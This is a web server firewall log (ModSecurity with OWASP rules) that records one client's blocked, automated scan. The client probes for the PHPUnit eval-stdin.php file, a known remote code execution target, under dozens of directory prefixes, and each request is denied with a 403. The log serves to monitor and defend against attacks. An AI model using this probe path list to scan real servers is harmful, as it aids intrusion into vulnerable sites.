[Sun Oct 25 05:34:31.139724 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg8gAAAAw"]
[Sun Oct 25 05:34:31.140641 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJw-YVEbWS5meiuhg8gAAAAw"]
[Sun Oct 25 05:34:31.333120 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg8wAAAAw"]
[Sun Oct 25 05:34:31.333618 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg8wAAAAw"]
[Sun Oct 25 05:34:31.334508 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJw-YVEbWS5meiuhg8wAAAAw"]
[Sun Oct 25 05:34:31.542123 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg9AAAAAw"]
[Sun Oct 25 05:34:31.542599 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg9AAAAAw"]
[Sun Oct 25 05:34:31.543450 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJw-YVEbWS5meiuhg9AAAAAw"]
[Sun Oct 25 05:34:31.777210 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg9QAAAAw"]
[Sun Oct 25 05:34:31.777682 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg9QAAAAw"]
[Sun Oct 25 05:34:31.778664 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJw-YVEbWS5meiuhg9QAAAAw"]
[Sun Oct 25 05:34:31.984762 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg9gAAAAw"]
[Sun Oct 25 05:34:31.985223 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg9gAAAAw"]
[Sun Oct 25 05:34:31.986152 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJw-YVEbWS5meiuhg9gAAAAw"]
[Sun Oct 25 05:34:32.220260 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg9wAAAAw"]
[Sun Oct 25 05:34:32.220707 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg9wAAAAw"]
[Sun Oct 25 05:34:32.221761 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKA-YVEbWS5meiuhg9wAAAAw"]
[Sun Oct 25 05:34:32.418464 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg-AAAAAw"]
[Sun Oct 25 05:34:32.418935 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg-AAAAAw"]
[Sun Oct 25 05:34:32.419847 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKA-YVEbWS5meiuhg-AAAAAw"]
[Sun Oct 25 05:34:32.711903 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg-QAAAAw"]
[Sun Oct 25 05:34:32.712377 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg-QAAAAw"]
[Sun Oct 25 05:34:32.713337 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKA-YVEbWS5meiuhg-QAAAAw"]
[Sun Oct 25 05:34:32.939400 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg-gAAAAw"]
[Sun Oct 25 05:34:32.939910 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKA-YVEbWS5meiuhg-gAAAAw"]
[Sun Oct 25 05:34:32.940757 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKA-YVEbWS5meiuhg-gAAAAw"]
[Sun Oct 25 05:34:33.234530 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg-wAAAAw"]
[Sun Oct 25 05:34:33.234997 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg-wAAAAw"]
[Sun Oct 25 05:34:33.235886 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKQ-YVEbWS5meiuhg-wAAAAw"]
[Sun Oct 25 05:34:33.633035 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg_AAAAAw"]
[Sun Oct 25 05:34:33.633511 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg_AAAAAw"]
[Sun Oct 25 05:34:33.634378 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKQ-YVEbWS5meiuhg_AAAAAw"]
[Sun Oct 25 05:34:33.773609 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg_QAAAAw"]
[Sun Oct 25 05:34:33.835853 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg_QAAAAw"]
[Sun Oct 25 05:34:33.836628 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKQ-YVEbWS5meiuhg_QAAAAw"]
[Sun Oct 25 05:34:33.972471 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg_gAAAAw"]
[Sun Oct 25 05:34:33.972928 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKQ-YVEbWS5meiuhg_gAAAAw"]
[Sun Oct 25 05:34:33.973700 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NKQ-YVEbWS5meiuhg_gAAAAw"]
[Sun Oct 25 05:34:34.200099 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NKg-YVEbWS5meiuhg_wAAAAw"]
